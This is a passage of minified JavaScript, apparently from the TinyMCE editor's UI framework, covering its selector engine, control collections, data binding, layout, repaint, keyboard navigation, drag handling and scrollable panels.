n=this;function i(e,t,n){return e<0?0:t<e+n&&(e=t-n)<0?0:e}if(n.settings.constrainToViewport){var r=ke(this),o=n.layoutRect();e=i(e,r.w+r.x,o.w),t=i(t,r.h+r.y,o.h)}var s=W.getUiContainer(n);return s&&_e(s)&&!Re(n)&&(e-=s.scrollLeft,t-=s.scrollTop),s&&(e+=1,t+=1),n.state.get("rendered")?n.layoutRect({x:e,y:t}).repaint():(n.settings.x=e,n.settings.y=t),n.fire("move",{x:e,y:t}),n}},Se=tinymce.util.Tools.resolve("tinymce.util.Class"),Te=tinymce.util.Tools.resolve("tinymce.util.EventDispatcher"),Me=function(e){var t;if(e)return"number"==typeof e?{top:e=e||0,left:e,bottom:e,right:e}:(1===(t=(e=e.split(" ")).length)?e[1]=e[2]=e[3]=e[0]:2===t?(e[2]=e[0],e[3]=e[1]):3===t&&(e[3]=e[1]),{top:parseInt(e[0],10)||0,right:parseInt(e[1],10)||0,bottom:parseInt(e[2],10)||0,left:parseInt(e[3],10)||0})},Ne=function(i,e){function t(e){var t=parseFloat(function(e){var t=i.ownerDocument.defaultView;if(t){var n=t.getComputedStyle(i,null);return n?(e=e.replace(/[A-Z]/g,function(e){return"-"+e}),n.getPropertyValue(e)):null}return i.currentStyle[e]}(e));return isNaN(t)?0:t}return{top:t(e+"TopWidth"),right:t(e+"RightWidth"),bottom:t(e+"BottomWidth"),left:t(e+"LeftWidth")}};function Pe(){}function We(e){this.cls=[],this.cls._map={},this.onchange=e||Pe,this.prefix=""}w.extend(We.prototype,{add:function(e){return e&&!this.contains(e)&&(this.cls._map[e]=!0,this.cls.push(e),this._change()),this},remove:function(e){if(this.contains(e)){var t=void 0;for(t=0;t<this.cls.length&&this.cls[t]!==e;t++);this.cls.splice(t,1),delete this.cls._map[e],this._change()}return this},toggle:function(e,t){var n=this.contains(e);return n!==t&&(n?this.remove(e):this.add(e),this._change()),this},contains:function(e){return!!this.cls._map[e]},_change:function(){delete this.clsValue,this.onchange.call(this)}}),We.prototype.toString=function(){var e;if(this.clsValue)return this.clsValue;e="";for(var t=0;t<this.cls.length;t++)0<t&&(e+=" "),e+=this.prefix+this.cls[t];return e};var De,Oe,Ae,Be=/^([\w\\*]+)?(?:#([\w\-\\]+))?(?:\.([\w\\\.]+))?(?:\[\@?([\w\\]+)([\^\$\*!~]?=)([\w\\]+)\])?(?:\:(.+))?/i,Le=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,ze=/^\s*|\s*$/g,Ie=Se.extend({init:function(e){var o=this.match;function s(e,t,n){var i;function r(e){e&&t.push(e)}return r(function(t){if(t)return t=t.toLowerCase(),function(e){return"*"===t||e.type===t}}((i=Be.exec(e.replace(ze,"")))[1])),r(function(t){if(t)return function(e){return e._name===t}}(i[2])),r(function(n){if(n)return n=n.split("."),function(e){for(var t=n.length;t--;)if(!e.classes.contains(n[t]))return!1;return!0}}(i[3])),r(function(n,i,r){if(n)return function(e){var t=e[n]?e[n]():"";return i?"="===i?t===r:"*="===i?0<=t.indexOf(r):"~="===i?0<=(" "+t+" ").indexOf(" "+r+" "):"!="===i?t!==r:"^="===i?0===t.indexOf(r):"$="===i&&t.substr(t.length-r.length)===r:!!r}}(i[4],i[5],i[6])),r(function(i){var t;if(i)return(i=/(?:not\((.+)\))|(.+)/i.exec(i))[1]?(t=a(i[1],[]),function(e){return!o(e,t)}):(i=i[2],function(e,t,n){return"first"===i?0===t:"last"===i?t===n-1:"even"===i?t%2==0:"odd"===i?t%2==1:!!e[i]&&e[i]()})}(i[7])),t.pseudo=!!i[7],t.direct=n,t}function a(e,t){var n,i,r,o=[];do{if(Le.exec(""),(i=Le.exec(e))&&(e=i[3],o.push(i[1]),i[2])){n=i[3];break}}while(i);for(n&&a(n,t),e=[],r=0;r<o.length;r++)">"!==o[r]&&e.push(s(o[r],[],">"===o[r-1]));return t.push(e),t}this._selectors=a(e,[])},match:function(e,t){var n,i,r,o,s,a,l,u,c,d,f,h,m;for(n=0,i=(t=t||this._selectors).length;n<i;n++){for(m=e,h=0,r=(o=(s=t[n]).length)-1;0<=r;r--)for(u=s[r];m;){if(u.pseudo)for(c=d=(f=m.parent().items()).length;c--&&f[c]!==m;);for(a=0,l=u.length;a<l;a++)if(!u[a](m,c,d)){a=l+1;break}if(a===l){h++;break}if(r===o-1)break;m=m.parent()}if(h===o)return!0}return!1},find:function(e){var t,n,u=[],i=this._selectors;function c(e,t,n){var i,r,o,s,a,l=t[n];for(i=0,r=e.length;i<r;i++){for(a=e[i],o=0,s=l.length;o<s;o++)if(!l[o](a,i,r)){o=s+1;break}if(o===s)n===t.length-1?u.push(a):a.items&&c(a.items(),t,n+1);else if(l.direct)return;a.items&&c(a.items(),t,n)}}if(e.items){for(t=0,n=i.length;t<n;t++)c(e.items(),i[t],0);1<n&&(u=function(e){for(var t,n=[],i=e.length;i--;)(t=e[i]).__checked||(n.push(t),t.__checked=1);for(i=n.length;i--;)delete n[i].__checked;return n}(u))}return De||(De=Ie.Collection),new De(u)}}),Fe=Array.prototype.push,Ue=Array.prototype.slice;Ae={length:0,init:function(e){e&&this.add(e)},add:function(e){return w.isArray(e)?Fe.apply(this,e):e instanceof Oe?this.add(e.toArray()):Fe.call(this,e),this},set:function(e){var t,n=this,i=n.length;for(n.length=0,n.add(e),t=n.length;t<i;t++)delete n[t];return n},filter:function(t){var e,n,i,r,o=[];for("string"==typeof t?(t=new Ie(t),r=function(e){return t.match(e)}):r=t,e=0,n=this.length;e<n;e++)r(i=this[e])&&o.push(i);return new Oe(o)},slice:function(){return new Oe(Ue.apply(this,arguments))},eq:function(e){return-1===e?this.slice(e):this.slice(e,+e+1)},each:function(e){return w.each(this,e),this},toArray:function(){return w.toArray(this)},indexOf:function(e){for(var t=this.length;t--&&this[t]!==e;);return t},reverse:function(){return new Oe(w.toArray(this).reverse())},hasClass:function(e){return!!this[0]&&this[0].classes.contains(e)},prop:function(t,n){var e;return n!==undefined?(this.each(function(e){e[t]&&e[t](n)}),this):(e=this[0])&&e[t]?e[t]():void 0},exec:function(t){var n=w.toArray(arguments).slice(1);return this.each(function(e){e[t]&&e[t].apply(e,n)}),this},remove:function(){for(var e=this.length;e--;)this[e].remove();return this},addClass:function(t){return this.each(function(e){e.classes.add(t)})},removeClass:function(t){return this.each(function(e){e.classes.remove(t)})}},w.each("fire on off show hide append prepend before after reflow".split(" "),function(n){Ae[n]=function(){var t=w.toArray(arguments);return this.each(function(e){n in e&&e[n].apply(e,t)}),this}}),w.each("text name disabled active selected checked visible parent value data".split(" "),function(t){Ae[t]=function(e){return this.prop(t,e)}}),Oe=Se.extend(Ae);var Ve=Ie.Collection=Oe,Ye=function(e){this.create=e.create};Ye.create=function(r,o){return new Ye({create:function(t,n){var i,e=function(e){t.set(n,e.value)};return t.on("change:"+n,function(e){r.set(o,e.value)}),r.on("change:"+o,e),(i=t._bindings)||(i=t._bindings=[],t.on("destroy",function(){for(var e=i.length;e--;)i[e]()})),i.push(function(){r.off("change:"+o,e)}),r.get(o)}})};var $e=tinymce.util.Tools.resolve("tinymce.util.Observable");function qe(e){return 0<e.nodeType}var Xe,je,Je=Se.extend({Mixins:[$e],init:function(e){var t,n;for(t in e=e||{})(n=e[t])instanceof Ye&&(e[t]=n.create(this,t));this.data=e},set:function(t,n){var i,r,o=this.data[t];if(n instanceof Ye&&(n=n.create(this,t)),"object"==typeof t){for(i in t)this.set(i,t[i]);return this}return function e(t,n){var i,r;if(t===n)return!0;if(null===t||null===n)return t===n;if("object"!=typeof t||"object"!=typeof n)return t===n;if(w.isArray(n)){if(t.length!==n.length)return!1;for(i=t.length;i--;)if(!e(t[i],n[i]))return!1}if(qe(t)||qe(n))return t===n;for(i in r={},n){if(!e(t[i],n[i]))return!1;r[i]=!0}for(i in t)if(!r[i]&&!e(t[i],n[i]))return!1;return!0}(o,n)||(this.data[t]=n,r={target:this,name:t,value:n,oldValue:o},this.fire("change:"+t,r),this.fire("change",r)),this},get:function(e){return this.data[e]},has:function(e){return e in this.data},bind:function(e){return Ye.create(this,e)},destroy:function(){this.fire("destroy")}}),Ge={},Ke={add:function(e){var t=e.parent();if(t){if(!t._layout||t._layout.isNative())return;Ge[t._id]||(Ge[t._id]=t),Xe||(Xe=!0,u.requestAnimationFrame(function(){var e,t;for(e in Xe=!1,Ge)(t=Ge[e]).state.get("rendered")&&t.reflow();Ge={}},_.document.body))}},remove:function(e){Ge[e._id]&&delete Ge[e._id]}},Ze="onmousewheel"in _.document,Qe=!1,et=0,tt={Statics:{classPrefix:"mce-"},isRtl:function(){return je.rtl},classPrefix:"mce-",init:function(t){var e,n,i=this;function r(e){var t;for(e=e.split(" "),t=0;t<e.length;t++)i.classes.add(e[t])}i.settings=t=w.extend({},i.Defaults,t),i._id=t.id||"mceu_"+et++,i._aria={role:t.role},i._elmCache={},i.$=ye,i.state=new Je({visible:!0,active:!1,disabled:!1,value:""}),i.data=new Je(t.data),i.classes=new We(function(){i.state.get("rendered")&&(i.getEl().className=this.toString())}),i.classes.prefix=i.classPrefix,(e=t.classes)&&(i.Defaults&&(n=i.Defaults.classes)&&e!==n&&r(n),r(e)),w.each("title text name visible disabled active value".split(" "),function(e){e in t&&i[e](t[e])}),i.on("click",function(){if(i.disabled())return!1}),i.settings=t,i.borderBox=Me(t.border),i.paddingBox=Me(t.padding),i.marginBox=Me(t.margin),t.hidden&&i.hide()},Properties:"parent,name",getContainerElm:function(){var e=W.getUiContainer(this);return e||we.getContainer()},getParentCtrl:function(e){for(var t,n=this.getRoot().controlIdLookup;e&&n&&!(t=n[e.id]);)e=e.parentNode;return t},initLayoutRect:function(){var e,t,n,i,r,o,s,a,l,u,c=this,d=c.settings,f=c.getEl();e=c.borderBox=c.borderBox||Ne(f,"border"),c.paddingBox=c.paddingBox||Ne(f,"padding"),c.marginBox=c.marginBox||Ne(f,"margin"),u=we.getSize(f),a=d.minWidth,l=d.minHeight,r=a||u.width,o=l||u.height,n=d.width,i=d.height,s=void 0!==(s=d.autoResize)?s:!n&&!i,n=n||r,i=i||o;var h=e.left+e.right,m=e.top+e.bottom,g=d.maxWidth||65535,p=d.maxHeight||65535;return c._layoutRect=t={x:d.x||0,y:d.y||0,w:n,h:i,deltaW:h,deltaH:m,contentW:n-h,contentH:i-m,innerW:n-h,innerH:i-m,startMinWidth:a||0,startMinHeight:l||0,minW:Math.min(r,g),minH:Math.min(o,p),maxW:g,maxH:p,autoResize:s,scrollW:0},c._lastLayoutRect={},t},layoutRect:function(e){var t,n,i,r,o,s=this,a=s._layoutRect;return a||(a=s.initLayoutRect()),e?(i=a.deltaW,r=a.deltaH,e.x!==undefined&&(a.x=e.x),e.y!==undefined&&(a.y=e.y),e.minW!==undefined&&(a.minW=e.minW),e.minH!==undefined&&(a.minH=e.minH),(n=e.w)!==undefined&&(n=(n=n<a.minW?a.minW:n)>a.maxW?a.maxW:n,a.w=n,a.innerW=n-i),(n=e.h)!==undefined&&(n=(n=n<a.minH?a.minH:n)>a.maxH?a.maxH:n,a.h=n,a.innerH=n-r),(n=e.innerW)!==undefined&&(n=(n=n<a.minW-i?a.minW-i:n)>a.maxW-i?a.maxW-i:n,a.innerW=n,a.w=n+i),(n=e.innerH)!==undefined&&(n=(n=n<a.minH-r?a.minH-r:n)>a.maxH-r?a.maxH-r:n,a.innerH=n,a.h=n+r),e.contentW!==undefined&&(a.contentW=e.contentW),e.contentH!==undefined&&(a.contentH=e.contentH),(t=s._lastLayoutRect).x===a.x&&t.y===a.y&&t.w===a.w&&t.h===a.h||((o=je.repaintControls)&&o.map&&!o.map[s._id]&&(o.push(s),o.map[s._id]=!0),t.x=a.x,t.y=a.y,t.w=a.w,t.h=a.h),s):a},repaint:function(){var e,t,n,i,r,o,s,a,l,u,c=this;l=_.document.createRange?function(e){return e}:Math.round,e=c.getEl().style,i=c._layoutRect,a=c._lastRepaintRect||{},o=(r=c.borderBox).left+r.right,s=r.top+r.bottom,i.x!==a.x&&(e.left=l(i.x)+"px",a.x=i.x),i.y!==a.y&&(e.top=l(i.y)+"px",a.y=i.y),i.w!==a.w&&(u=l(i.w-o),e.width=(0<=u?u:0)+"px",a.w=i.w),i.h!==a.h&&(u=l(i.h-s),e.height=(0<=u?u:0)+"px",a.h=i.h),c._hasBody&&i.innerW!==a.innerW&&(u=l(i.innerW),(n=c.getEl("body"))&&((t=n.style).width=(0<=u?u:0)+"px"),a.innerW=i.innerW),c._hasBody&&i.innerH!==a.innerH&&(u=l(i.innerH),(n=n||c.getEl("body"))&&((t=t||n.style).height=(0<=u?u:0)+"px"),a.innerH=i.innerH),c._lastRepaintRect=a,c.fire("repaint",{},!1)},updateLayoutRect:function(){var e=this;e.parent()._lastRect=null,we.css(e.getEl(),{width:"",height:""}),e._layoutRect=e._lastRepaintRect=e._lastLayoutRect=null,e.initLayoutRect()},on:function(e,t){var n,i,r,o=this;return nt(o).on(e,"string"!=typeof(n=t)?n:function(e){return i||o.parentsAndSelf().each(function(e){var t=e.settings.callbacks;if(t&&(i=t[n]))return r=e,!1}),i?i.call(r,e):(e.action=n,void this.fire("execute",e))}),o},off:function(e,t){return nt(this).off(e,t),this},fire:function(e,t,n){if((t=t||{}).control||(t.control=this),t=nt(this).fire(e,t),!1!==n&&this.parent)for(var i=this.parent();i&&!t.isPropagationStopped();)i.fire(e,t,!1),i=i.parent();return t},hasEventListeners:function(e){return nt(this).has(e)},parents:function(e){var t,n=new Ve;for(t=this.parent();t;t=t.parent())n.add(t);return e&&(n=n.filter(e)),n},parentsAndSelf:function(e){return new Ve(this).add(this.parents(e))},next:function(){var e=this.parent().items();return e[e.indexOf(this)+1]},prev:function(){var e=this.parent().items();return e[e.indexOf(this)-1]},innerHtml:function(e){return this.$el.html(e),this},getEl:function(e){var t=e?this._id+"-"+e:this._id;return this._elmCache[t]||(this._elmCache[t]=ye("#"+t)[0]),this._elmCache[t]},show:function(){return this.visible(!0)},hide:function(){return this.visible(!1)},focus:function(){try{this.getEl().focus()}catch(e){}return this},blur:function(){return this.getEl().blur(),this},aria:function(e,t){var n=this,i=n.getEl(n.ariaTarget);return void 0===t?n._aria[e]:(n._aria[e]=t,n.state.get("rendered")&&i.setAttribute("role"===e?e:"aria-"+e,t),n)},encode:function(e,t){return!1!==t&&(e=this.translate(e)),(e||"").replace(/[&<>"]/g,function(e){return"&#"+e.charCodeAt(0)+";"})},translate:function(e){return je.translate?je.translate(e):e},before:function(e){var t=this.parent();return t&&t.insert(e,t.items().indexOf(this),!0),this},after:function(e){var t=this.parent();return t&&t.insert(e,t.items().indexOf(this)),this},remove:function(){var t,e,n=this,i=n.getEl(),r=n.parent();if(n.items){var o=n.items().toArray();for(e=o.length;e--;)o[e].remove()}r&&r.items&&(t=[],r.items().each(function(e){e!==n&&t.push(e)}),r.items().set(t),r._lastRect=null),n._eventsRoot&&n._eventsRoot===n&&ye(i).off();var s=n.getRoot().controlIdLookup;return s&&delete s[n._id],i&&i.parentNode&&i.parentNode.removeChild(i),n.state.set("rendered",!1),n.state.destroy(),n.fire("remove"),n},renderBefore:function(e){return ye(e).before(this.renderHtml()),this.postRender(),this},renderTo:function(e){return ye(e||this.getContainerElm()).append(this.renderHtml()),this.postRender(),this},preRender:function(){},render:function(){},renderHtml:function(){return'<div id="'+this._id+'" class="'+this.classes+'"></div>'},postRender:function(){var e,t,n,i,r,o=this,s=o.settings;for(i in o.$el=ye(o.getEl()),o.state.set("rendered",!0),s)0===i.indexOf("on")&&o.on(i.substr(2),s[i]);if(o._eventsRoot){for(n=o.parent();!r&&n;n=n.parent())r=n._eventsRoot;if(r)for(i in r._nativeEvents)o._nativeEvents[i]=!0}it(o),s.style&&(e=o.getEl())&&(e.setAttribute("style",s.style),e.style.cssText=s.style),o.settings.border&&(t=o.borderBox,o.$el.css({"border-top-width":t.top,"border-right-width":t.right,"border-bottom-width":t.bottom,"border-left-width":t.left}));var a=o.getRoot();for(var l in a.controlIdLookup||(a.controlIdLookup={}),(a.controlIdLookup[o._id]=o)._aria)o.aria(l,o._aria[l]);!1===o.state.get("visible")&&(o.getEl().style.display="none"),o.bindStates(),o.state.on("change:visible",function(e){var t,n=e.value;o.state.get("rendered")&&(o.getEl().style.display=!1===n?"none":"",o.getEl().getBoundingClientRect()),(t=o.parent())&&(t._lastRect=null),o.fire(n?"show":"hide"),Ke.add(o)}),o.fire("postrender",{},!1)},bindStates:function(){},scrollIntoView:function(e){var t,n,i,r,o,s,a=this.getEl(),l=a.parentNode,u=function(e,t){var n,i,r=e;for(n=i=0;r&&r!==t&&r.nodeType;)n+=r.offsetLeft||0,i+=r.offsetTop||0,r=r.offsetParent;return{x:n,y:i}}(a,l);return t=u.x,n=u.y,i=a.offsetWidth,r=a.offsetHeight,o=l.clientWidth,s=l.clientHeight,"end"===e?(t-=o-i,n-=s-r):"center"===e&&(t-=o/2-i/2,n-=s/2-r/2),l.scrollLeft=t,l.scrollTop=n,this},getRoot:function(){for(var e,t=this,n=[];t;){if(t.rootControl){e=t.rootControl;break}n.push(t),t=(e=t).parent()}e||(e=this);for(var i=n.length;i--;)n[i].rootControl=e;return e},reflow:function(){Ke.remove(this);var e=this.parent();return e&&e._layout&&!e._layout.isNative()&&e.reflow(),this}};function nt(n){return n._eventDispatcher||(n._eventDispatcher=new Te({scope:n,toggleEvent:function(e,t){t&&Te.isNative(e)&&(n._nativeEvents||(n._nativeEvents={}),n._nativeEvents[e]=!0,n.state.get("rendered")&&it(n))}})),n._eventDispatcher}function it(a){var e,t,n,l,i,r;function o(e){var t=a.getParentCtrl(e.target);t&&t.fire(e.type,e)}function s(){var e=l._lastHoverCtrl;e&&(e.fire("mouseleave",{target:e.getEl()}),e.parents().each(function(e){e.fire("mouseleave",{target:e.getEl()})}),l._lastHoverCtrl=null)}function u(e){var t,n,i,r=a.getParentCtrl(e.target),o=l._lastHoverCtrl,s=0;if(r!==o){if((n=(l._lastHoverCtrl=r).parents().toArray().reverse()).push(r),o){for((i=o.parents().toArray().reverse()).push(o),s=0;s<i.length&&n[s]===i[s];s++);for(t=i.length-1;s<=t;t--)(o=i[t]).fire("mouseleave",{target:o.getEl()})}for(t=s;t<n.length;t++)(r=n[t]).fire("mouseenter",{target:r.getEl()})}}function c(e){e.preventDefault(),"mousewheel"===e.type?(e.deltaY=-.025*e.wheelDelta,e.wheelDeltaX&&(e.deltaX=-.025*e.wheelDeltaX)):(e.deltaX=0,e.deltaY=e.detail),e=a.fire("wheel",e)}if(i=a._nativeEvents){for((n=a.parents().toArray()).unshift(a),e=0,t=n.length;!l&&e<t;e++)l=n[e]._eventsRoot;for(l||(l=n[n.length-1]||a),a._eventsRoot=l,t=e,e=0;e<t;e++)n[e]._eventsRoot=l;var d=l._delegates;for(r in d||(d=l._delegates={}),i){if(!i)return!1;"wheel"!==r||Qe?("mouseenter"===r||"mouseleave"===r?l._hasMouseEnter||(ye(l.getEl()).on("mouseleave",s).on("mouseover",u),l._hasMouseEnter=1):d[r]||(ye(l.getEl()).on(r,o),d[r]=!0),i[r]=!1):Ze?ye(a.getEl()).on("mousewheel",c):ye(a.getEl()).on("DOMMouseScroll",c)}}}w.each("text title visible disabled active value".split(" "),function(t){tt[t]=function(e){return 0===arguments.length?this.state.get(t):(void 0!==e&&this.state.set(t,e),this)}});var rt=je=Se.extend(tt),ot=function(e){return!!e.getAttribute("data-mce-tabstop")};function st(e){var o,r,n=e.root;function i(e){return e&&1===e.nodeType}try{o=_.document.activeElement}catch(t){o=_.document.body}function s(e){return i(e=e||o)?e.getAttribute("role"):null}function a(e){for(var t,n=e||o;n=n.parentNode;)if(t=s(n))return t}function l(e){var t=o;if(i(t))return t.getAttribute("aria-"+e)}function u(e){var t=e.tagName.toUpperCase();return"INPUT"===t||"TEXTAREA"===t||"SELECT"===t}function c(t){var r=[];return function e(t){if(1===t.nodeType&&"none"!==t.style.display&&!t.disabled){var n;(u(n=t)&&!n.hidden||ot(n)||/^(button|menuitem|checkbox|tab|menuitemcheckbox|option|gridcell|slider)$/.test(s(n)))&&r.push(t);for(var i=0;i<t.childNodes.length;i++)e(t.childNodes[i])}}(t||n.getEl()),r}function d(e){var t,n;(n=(e=e||r).parents().toArray()).unshift(e);for(var i=0;i<n.length&&!(t=n[i]).settings.ariaRoot;i++);return t}function f(e,t){return e<0?e=t.length-1:e>=t.length&&(e=0),t[e]&&t[e].focus(),e}function h(e,t){var n=-1,i=d();t=t||c(i.getEl());for(var r=0;r<t.length;r++)t[r]===o&&(n=r);n+=e,i.lastAriaIndex=f(n,t)}function m(){"tablist"===a()?h(-1,c(o.parentNode)):r.parent().submenu?b():h(-1)}function g(){var e=s(),t=a();"tablist"===t?h(1,c(o.parentNode)):"menuitem"===e&&"menu"===t&&l("haspopup")?y():h(1)}function p(){h(-1)}function v(){var e=s(),t=a();"menuitem"===e&&"menubar"===t?y():"button"===e&&l("haspopup")?y({key:"down"}):h(1)}function b(){r.fire("cancel")}function y(e){e=e||{},r.fire("click",{target:o,aria:e})}return r=n.getParentCtrl(o),n.on("keydown",function(e){function t(e,t){u(o)||ot(o)||"slider"!==s(o)&&!1!==t(e)&&e.preventDefault()}if(!e.isDefaultPrevented())switch(e.keyCode){case 37:t(e,m);break;case 39:t(e,g);break;case 38:t(e,p);break;case 40:t(e,v);break;case 27:b();break;case 14:case 13:case 32:t(e,y);break;case 9:!function(e){if("tablist"===a()){var t=c(r.getEl("body"))[0];t&&t.focus()}else h(e.shiftKey?-1:1)}(e),e.preventDefault()}}),n.on("focusin",function(e){o=e.target,r=e.control}),{focusFirst:function(e){var t=d(e),n=c(t.getEl());t.settings.ariaRemember&&"lastAriaIndex"in t?f(t.lastAriaIndex,n):f(0,n)}}}var at={},lt=rt.extend({init:function(e){var t=this;t._super(e),(e=t.settings).fixed&&t.state.set("fixed",!0),t._items=new Ve,t.isRtl()&&t.classes.add("rtl"),t.bodyClasses=new We(function(){t.state.get("rendered")&&(t.getEl("body").className=this.toString())}),t.bodyClasses.prefix=t.classPrefix,t.classes.add("container"),t.bodyClasses.add("container-body"),e.containerCls&&t.classes.add(e.containerCls),t._layout=v.create((e.layout||"")+"layout"),t.settings.items?t.add(t.settings.items):t.add(t.render()),t._hasBody=!0},items:function(){return this._items},find:function(e){return(e=at[e]=at[e]||new Ie(e)).find(this)},add:function(e){return this.items().add(this.create(e)).parent(this),this},focus:function(e){var t,n,i,r=this;if(!e||!(n=r.keyboardNav||r.parents().eq(-1)[0].keyboardNav))return i=r.find("*"),r.statusbar&&i.add(r.statusbar.items()),i.each(function(e){if(e.settings.autofocus)return t=null,!1;e.canFocus&&(t=t||e)}),t&&t.focus(),r;n.focusFirst(r)},replace:function(e,t){for(var n,i=this.items(),r=i.length;r--;)if(i[r]===e){i[r]=t;break}0<=r&&((n=t.getEl())&&n.parentNode.removeChild(n),(n=e.getEl())&&n.parentNode.removeChild(n)),t.parent(this)},create:function(e){var t,n=this,i=[];return w.isArray(e)||(e=[e]),w.each(e,function(e){e&&(e instanceof rt||("string"==typeof e&&(e={type:e}),t=w.extend({},n.settings.defaults,e),e.type=t.type=t.type||e.type||n.settings.defaultType||(t.defaults?t.defaults.type:null),e=v.create(t)),i.push(e))}),i},renderNew:function(){var i=this;return i.items().each(function(e,t){var n;e.parent(i),e.state.get("rendered")||((n=i.getEl("body")).hasChildNodes()&&t<=n.childNodes.length-1?ye(n.childNodes[t]).before(e.renderHtml()):ye(n).append(e.renderHtml()),e.postRender(),Ke.add(e))}),i._layout.applyClasses(i.items().filter(":visible")),i._lastRect=null,i},append:function(e){return this.add(e).renderNew()},prepend:function(e){return this.items().set(this.create(e).concat(this.items().toArray())),this.renderNew()},insert:function(e,t,n){var i,r,o;return e=this.create(e),i=this.items(),!n&&t<i.length-1&&(t+=1),0<=t&&t<i.length&&(r=i.slice(0,t).toArray(),o=i.slice(t).toArray(),i.set(r.concat(e,o))),this.renderNew()},fromJSON:function(e){for(var t in e)this.find("#"+t).value(e[t]);return this},toJSON:function(){var i={};return this.find("*").each(function(e){var t=e.name(),n=e.value();t&&void 0!==n&&(i[t]=n)}),i},renderHtml:function(){var e=this,t=e._layout,n=this.settings.role;return e.preRender(),t.preRender(e),'<div id="'+e._id+'" class="'+e.classes+'"'+(n?' role="'+this.settings.role+'"':"")+'><div id="'+e._id+'-body" class="'+e.bodyClasses+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"},postRender:function(){var e,t=this;return t.items().exec("postRender"),t._super(),t._layout.postRender(t),t.state.set("rendered",!0),t.settings.style&&t.$el.css(t.settings.style),t.settings.border&&(e=t.borderBox,t.$el.css({"border-top-width":e.top,"border-right-width":e.right,"border-bottom-width":e.bottom,"border-left-width":e.left})),t.parent()||(t.keyboardNav=st({root:t})),t},initLayoutRect:function(){var e=this._super();return this._layout.recalc(this),e},recalc:function(){var e=this,t=e._layoutRect,n=e._lastRect;if(!n||n.w!==t.w||n.h!==t.h)return e._layout.recalc(e),t=e.layoutRect(),e._lastRect={x:t.x,y:t.y,w:t.w,h:t.h},!0},reflow:function(){var e;if(Ke.remove(this),this.visible()){for(rt.repaintControls=[],rt.repaintControls.map={},this.recalc(),e=rt.repaintControls.length;e--;)rt.repaintControls[e].repaint();"flow"!==this.settings.layout&&"stack"!==this.settings.layout&&this.repaint(),rt.repaintControls=[]}return this}});function ut(e){var t,n;if(e.changedTouches)for(t="screenX screenY pageX pageY clientX clientY".split(" "),n=0;n<t.length;n++)e[t[n]]=e.changedTouches[0][t[n]]}function ct(e,h){var m,g,t,p,v,b,y,x=h.document||_.document;h=h||{};var w=x.getElementById(h.handle||e);t=function(e){var t,n,i,r,o,s,a,l,u,c,d,f=(t=x,u=Math.max,n=t.documentElement,i=t.body,r=u(n.scrollWidth,i.scrollWidth),o=u(n.clientWidth,i.clientWidth),s=u(n.offsetWidth,i.offsetWidth),a=u(n.scrollHeight,i.scrollHeight),l=u(n.clientHeight,i.clientHeight),{width:r<s?o:r,height:a<u(n.offsetHeight,i.offsetHeight)?l:a});ut(e),e.preventDefault(),g=e.button,c=w,b=e.screenX,y=e.screenY,d=_.window.getComputedStyle?_.window.getComputedStyle(c,null).getPropertyValue("cursor"):c.runtimeStyle.cursor,m=ye("<div></div>").css({position:"absolute",top:0,left:0,width:f.width,height:f.height,zIndex:2147483647,opacity:1e-4,cursor:d}).appendTo(x.body),ye(x).on("mousemove touchmove",v).on("mouseup touchend",p),h.start(e)},v=function(e){if(ut(e),e.button!==g)return p(e);e.deltaX=e.screenX-b,e.deltaY=e.screenY-y,e.preventDefault(),h.drag(e)},p=function(e){ut(e),ye(x).off("mousemove touchmove",v).off("mouseup touchend",p),m.remove(),h.stop&&h.stop(e)},this.destroy=function(){ye(w).off()},ye(w).on("mousedown touchstart",t)}var dt,ft,ht,mt,gt={init:function(){this.on("repaint",this.renderScroll)},renderScroll:function(){var p=this,v=2;function n(){var m,g,e;function t(e,t,n,i,r,o){var s,a,l,u,c,d,f,h;if(a=p.getEl("scroll"+e)){if(f=t.toLowerCase(),h=n.toLowerCase(),ye(p.getEl("absend")).css(f,p.layoutRect()[i]-1),!r)return void ye(a).css("display","none");ye(a).css("display","block"),s=p.getEl("body"),l=p.getEl("scroll"+e+"t"),u=s["client"+n]-2*v,c=(u-=m&&g?a["client"+o]:0)/s["scroll"+n],(d={})[f]=s["offset"+t]+v,d[h]=u,ye(a).css(d),(d={})[f]=s["scroll"+t]*c,d[h]=u*c,ye(l).css(d)}}e=p.getEl("body"),m=e.scrollWidth>e.clientWidth,g=e.scrollHeight>e.clientHeight,t("h","Left","Width","contentW",m,"Height"),t("v","Top","Height","contentH",g,"Width")}p.settings.autoScroll&&(p._hasScroll||(p._hasScroll=!0,function(){function e(s,a,l,u,c){var d,e=p._id+"-scroll"+s,t=p.classPrefix;ye(p.getEl()).append('<div id="'+e+'" class="'+t+"scrollbar "+t+"scrollbar-"+s+'"><div id="'+e+'t" class="'+t+'scrollbar-thumb"></div></div>'),p.draghelper=new ct(e+"t",{start:function(){d=p.getEl("body")["scroll"+a],ye("#"+e).addClass(t+"active")},drag:function(e){var t,n,i,r,o=p.layoutRect();n=o.contentW>o.innerW,i=o.contentH>o.innerH,r=p.getEl("body")["client"+l]-2*v,t=(r-=n&&i?p.getEl("scroll"+s)["client"+c]:0)/p.getEl("body")["scroll"+l],p.getEl("body")["scroll"+a]=d+e["delta"+u]/t},stop:function(){ye("#"+e).removeClass(t+"active")}})}p.classes.add("scroll"),e("v","Top","Height","Y","Width"),e("h","Left","Width","X","Height")}(),p.on("wheel",function(e){var t=p.getEl("body");t.scrollLeft+=10*(e.deltaX||0),t.scrollTop+=10*e.deltaY,n()}),ye(p.getEl("body")).on("scroll",n)),n())}},pt=lt.extend({Defaults:{layout:"fit",containerCls:"panel"},Mixins:[gt],renderHtml:function(){var e=this,t=e._layout,n=e.settings.html;return e.preRender(),t.preRender(e),void 0===n?n='<div id="'+e._id+'-body" class="'+e.bodyClasses+'">'+t.renderHtml(e)+"</div>":("function"==typeof n&&(n=n.call(e)),e._hasBody=!1),'<div id="'+e._id+'" class="'+e.classes+'" hidefocus="1" tabindex="-1" role="group">'+(e._preBodyHtml||"")+n+"</div>"}}),vt={resizeToContent:function(){this._layoutRect.autoResize=!0,this._lastRect=null,this.reflow()},resizeTo:function(e,t){if(e<=1||t<=1){var n=we.getWindowSize();e=e<=1?e*n.w:e,t=t<=1?t*n.h:t}return this._layoutRect.autoResize=!1,this.layoutRect({minW:e,minH:t,w:e,h:t}).reflow()},resizeBy:function(e,t){var n=this.layoutRect();return 